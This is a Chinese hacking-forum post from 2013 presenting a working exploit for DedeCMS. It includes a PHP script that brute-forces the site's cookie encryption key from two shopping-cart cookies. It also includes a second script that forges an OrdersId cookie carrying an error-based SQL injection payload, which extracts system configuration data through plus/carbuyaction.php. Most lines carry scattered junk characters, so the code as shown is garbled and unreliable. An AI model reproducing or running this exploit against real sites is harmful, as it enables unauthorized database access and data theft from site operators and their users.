找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2271|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=
* g& D) S2 X8 Q6 `9 P  L7 W在 include/shopcar.class.php中/ C- s% x3 d# W" d
先看一下这个shopcar类是如何生成cookie的' ~1 J/ M0 Q& k( B# ^7 c! Y
239      function saveCookie($key,$value)
/ c& s3 J" M* r. _4 ?. i240      {6 N& F) P) B/ z; H2 P$ s
241          if(is_array($value))- ^7 F" j8 n1 _- V7 ~. J  }- x5 ]
242          {. w& h/ K. |/ o  p' E: L9 U4 |, X
243              $value = $this->enCrypt($this->enCode($value));- i. `$ O  _5 c- R% W
244          }
3 h; ?) n% r3 [4 V245          else! m2 t: C8 J% }) z! V' }
246          {# }/ G$ l! c4 K
247              $value = $this->enCrypt($value);
4 G0 G' `5 W$ O& Q# w  N7 ~9 S248          }, X$ s7 p) e9 D! x# x7 V* e; }
249          setcookie($key,$value,time()+36000,’/');
& a" j9 ^8 e$ I, ~$ T250      }" K' o/ U- z' h6 R3 u
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
7 c- Z. `; Q" |) z% c186      function enCrypt($txt)& _! b1 ?( k9 t) m
187      {
8 m+ P" j' u- v+ i188          srand((double)microtime() * 1000000);
1 {  Z% d: Y' O" x) v189          $encrypt_key = md5(rand(0, 32000));
+ K3 S- s# G0 @190          $ctr = 0;# y( B, j8 C5 X9 C% s6 Y( M
191          $tmp = ”;6 B7 f: \9 Q. O6 H' z' |0 N* z# u7 i
192          for($i = 0; $i < strlen($txt); $i++). a0 Z& r; D2 z/ z
193          {* q2 b! a' I7 I& n' L1 Y' D0 `
194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;& w& J/ d( A. p/ s9 ^
195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
1 C# q0 ~" F7 }196          }  M9 _2 {+ Q- T! B9 X1 ?
197          return base64_encode($this->setKey($tmp));) P( d& {5 H! H$ V) |' m
198      }* V) z% Q* m/ i! c+ I
213      function setKey($txt)9 h6 b0 h7 l9 y- @$ A2 ~& C
214      {$ g: S6 ~0 _$ c
215          global $cfg_cookie_encode;' _5 x% w7 D( u  V
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
2 @$ T* _7 q! l217          $ctr = 0;
0 N( @* u. Y5 N% N3 s" \$ V7 X218          $tmp = ”;5 ]! J4 i2 b. E, `- `
219          for($i = 0; $i < strlen($txt); $i++)4 x7 R. a: Z: R( G. K5 T! u1 q$ q
220          {
, [/ W: ?* r: \0 q3 L221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
7 b& W, J6 q% V5 X; F5 G4 k222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];: _" ^' U( _* C* v; Z$ Z
223          }
3 ]. E7 n* E0 j' ]" k224          return $tmp;" p/ q$ X0 [( [
225      }$ B0 T/ o5 M' X$ R
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的) J/ J# y/ c' o, N3 `
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。1 y9 X' Y* E1 a0 y
具体代码如下:
  ^! \3 M/ q, J) k1 c. b+ @, r3 H5 k<?php
" t' c8 {8 ?4 u  U3 v5 s! X$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here+ c2 u6 s# z* M8 S% f& y+ |8 t
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
$ c* z* L5 x$ m! |$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here7 y# B2 f( w! _2 g4 B
function reStrCode($code,$string)
  h' _& C! F" K2 j2 \{
# ]& t; e* `7 [: O8 K9 ]6 ~$code = base64_decode($code);% E8 I* u4 V8 s3 C* r  S/ H2 o% t
$key = “”;
1 I8 \5 z6 i; d- m1 y; gfor($i=0 ; $i<32 ; $i++)
9 u, n! O2 ]. K$ t4 M{
2 z+ `. a" J! _2 f, m$key .= $string[$i] ^ $code[$i];
; C5 F2 u3 o1 S$ f}
# a( v. d1 _$ P+ A% i7 K5 H3 o/ Dreturn $key;3 H7 p2 R0 E+ w8 e. K2 s" }; P
}5 a0 l# _. ~. ]; @
function getKeys($cookie,$plantxt); Q8 x$ d1 Q# w$ M
{, ~2 \" ?( |4 \5 y; W
$tmp = $cookie;0 U7 W7 g9 `' ^8 I' Q8 `7 k
$results = array();! h7 p1 u6 r6 o$ o6 N* O6 {
for($j=0 ; $j < 32000; $j++)
* ^* R/ k/ G2 s7 b& f{, O* P& A, s2 G* X

1 @6 W5 e, m* d+ u. `$txt = $plantxt;& o: R9 d5 C, J3 T3 R, D$ l  C2 l; @
$ctr = 0;
: P5 K5 u4 i  ?2 a( L7 C$tmp = ”;
4 O: ~: {5 Z( c2 t$encrypt_key = md5($j);
- ]1 U; ]6 a3 J. p: y: t" ]for($i =0; $i < strlen($txt); $i ++)
+ u) q% o4 |) V{
1 v/ s* V' `3 C: `; i6 r$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
+ z  T! O3 t6 i6 k- M& M$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);7 _' A: N$ t' O5 \
}
* ~- @+ E7 {+ s! S/ w3 Z  x$string = $tmp;
3 l  m2 _# S5 P9 D+ y. ~$code = $cookie;. b+ H, q) n* J& D4 K& a. ], n( Q
$result = reStrCode($code,$string);$ j9 e' e$ F0 J% _* o
if(eregi(‘^[a-z0-9]+$’,$result))/ ^, O- L& \* {5 w- v0 A
{8 n4 P" C* B1 [" T7 Q
echo $result.”\n”;
# F, S, v: L6 F$ z$results[] = $result;* \* x* H+ [% d( r( X4 Z1 _
}1 q( w2 S" S: K! H# k+ [
}0 j% P6 G; `+ a+ g: X( k" L; O
return $results;' @, p* s# L  m$ c
}- D. ^7 q0 Z2 |1 o3 M" O+ l
$results1 = getKeys($cookie1,$plantxt);
) A5 W" k: X" S( p* t* }0 {8 u$results2 = getKeys($cookie2,$plantxt);
5 |1 U2 F) f, J1 w; C" Rprint “\n——————–real key————————–\n”;3 k9 N' E" m! g
foreach($results1 as $test1)
0 l" w. F- ^  l# }9 F1 {{
7 S  ~! Z. v( N) F7 wforeach($results2 as $test2)
$ c; T& y  h. y{
& v' }3 d. O- pif($test1 == $test2)/ c9 K; z& w% v0 W- j
{
; `0 i. W+ Y/ {* }echo $test1.”\n”;
1 n! m  x7 y2 P6 d0 l}6 ~  m( L5 K. K' L; A! u* [/ n
}& }. e; n+ S. O3 b
}
6 R+ c/ R7 y2 K?>7 j4 i5 ~. B; p" U) E
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,& c# ]* S/ C( P) Q& R$ |! }+ w
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
9 X4 g* J0 m/ l然后推算出md5(strtolower($cfg_cookie_encode)): j  c* @; |$ f) Z) Q0 Q
得到这个key之后,我们就可以构造任意购物车的cookie
& w) A! g  @  `9 f; s+ K接着看
5 N7 R. r8 i3 F20  class MemberShops
6 d5 T1 J* \% u* b* x% C6 F( \21  {
: }! m& u' H$ n- M" n) H4 I22      var $OrdersId;
* |3 E9 r( {# b4 N, F: o23      var $productsId;( V& E. n: v/ @  T: x9 B1 L
24
% k0 u9 h" Z; V) T. y2 f1 o25      function __construct()/ }% p2 L$ X6 x0 X4 j
26      {3 u0 T3 m3 t7 @  V5 I
27          $this->OrdersId = $this->getCookie(“OrdersId”);; D6 s2 |+ R' v. H0 o
28          if(empty($this->OrdersId))& B% }- ^" Z' n' j. o: R8 y/ t: x
29          {4 L2 [7 R5 w3 X. {, s
30              $this->OrdersId = $this->MakeOrders();
& B8 U, F  D% L# c31          }
: Z. I6 f6 n) `1 `: V; k32      }
) u* H+ T9 w$ ~0 N; A, g发现OrderId是从cookie里面获取的6 l3 B! X0 K* h8 R5 d2 T) U4 i
然后5 u6 {& |5 f9 A; k; h3 w/ O4 g+ w, C
/plus/carbuyaction.php中的
, e7 m+ x. q+ K( n5 d) X6 `4 k  c29      $cart    = new MemberShops();
# g! R/ }/ `' r6 S$ v. p% R$ K& r39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
. V$ g* H# {3 n2 B……" r% C# v# t: z& W8 W0 M( L9 W/ z
173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);3 ]+ W/ `! W( O
接着我们就可以注入了$ c. n7 Q2 k. o" ]
通过利用下面代码生成cookie:
/ s* U2 C' E) O1 d6 Y<?php) {2 F% ~& S; P6 u: ^
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
  t  G( j; B5 L: c3 _0 N, _0 ]$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here
+ u* x0 Q" ?$ }* g. [/ @1 Tfunction setKey($txt)- t! X1 T# V% b5 ]% S# a( W0 y
{
  |; v3 G9 a& iglobal $encrypt_key;
/ `" ]! H- ]- v9 r9 {  O1 W$ctr = 0;1 o" m; Z! \9 j  ~1 p+ k; Z
$tmp = ”;' ]! b) B2 N" ~# |1 }  t0 i! n) a; V
for($i = 0; $i < strlen($txt); $i++)
, e( o3 |2 m/ \+ ~' o# c{& p6 {; d) `/ W7 C5 q
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;* T9 K. B3 u# t5 b5 I# e2 V
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
+ |) w5 l8 R$ f+ U3 K}
+ T* R5 [# ?. Y/ R' r2 \return $tmp;& K! D& Z: S; g4 g
}
1 n* C7 P& c* q; M' o9 L% I, }3 ?( vfunction enCrypt($txt)0 |3 q' W  A& P& X6 u" M( a* F7 C7 U* G
{! l& i! I1 Y( l- }9 |
srand((double)microtime() * 1000000);
' L# k# ?8 {. x% g  p$encrypt_key = md5(rand(0, 32000));
% a8 c' L9 Q) i; d$ctr = 0;
1 a) A7 e6 a* X2 T* R3 k1 q7 L7 |$tmp = ”;
$ k& u: I" Y7 Q4 r2 ]! r* m) jfor($i = 0; $i < strlen($txt); $i++)4 p1 |/ c( A; P5 c" r
{7 v2 w) q/ r2 t: i
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
# I; v, s' |& R, Q4 \. q3 a$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
9 |, @3 p& }4 q5 A, Y}
0 C. S1 j7 @4 K# oreturn base64_encode(setKey($tmp));6 m: b. h! H! \1 O% z
}
4 \# J3 Z* r8 \for($dest =0;$dest = enCrypt($txt);)
: u2 L7 b  N/ |5 O3 p1 P1 z- W2 r* \{
# `/ c& a1 B! X. j% K% E" m+ \if(!strpos($dest,’+'))
0 [6 w; G0 `6 k) h{
8 u2 A4 _1 ]5 abreak;9 w: M% U! W- \$ j" Y; L
}1 J( e; ]: x2 h( [5 w4 U& b
}
& t9 O$ p! s( w; q7 [' [echo $dest.”\n”;
% D) c" z+ ]2 V$ S: @6 W?>
* z3 v5 A, r' ]: O' }9 [4 I
& n+ F4 r+ {; l8 @( A- Q+ Y# C​
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表